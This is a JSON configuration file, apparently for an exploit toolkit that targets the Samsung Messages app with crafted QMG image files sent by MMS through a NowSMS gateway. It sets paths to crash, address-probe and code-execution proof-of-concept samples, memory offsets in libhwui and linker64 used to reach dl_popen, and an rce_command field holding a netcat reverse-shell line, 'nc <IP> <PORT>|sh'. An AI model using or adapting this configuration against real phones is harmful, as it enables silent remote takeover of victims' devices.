config.json

{
  "phone_number" : "0123456789",

  "hostname" : "http://localhost:8800/",
  "username" : "username",
  "password" : "password",

  "mms_in_dir" : "C:\\Program Files (x86)\\NowSMS\\MMS-IN",

  "crashing_sample" : "C:\\path\\to\\qmg_files\\crashing_sample\\crash.qmg.jpg",

  "probe_sample" : "C:\\path\\to\\qmg_files\\address_probe\\poc.qmg.jpg",
  "probe_address_offset" : "0xe3",
  "probe_size_offset" : "0x12f",

  "cooldown_time" : "65",
  "receipt_wait_time" : "30",

  "code_exec_sample" : "C:\\path\\to\\qmg_files\\code_exec\\poc.qmg.jpg",
  "code_exec_generator" : "C:\\path\\to\\qmg_files\\code_exec\\go.bat",

  "libhwui_bitmap_vtable_offset" : "0x7CA4E0",
  "libhwui_ReadStreaEndError_offset" : "0x230340",
  "linker64_dl_popen_offset" : "0x100188",

  "rce_command" : "nc <IP> <PORT>|sh",

  "OPTIONAL_maps_file" : "path to /proc/.../maps of the Samsung Messages process"
}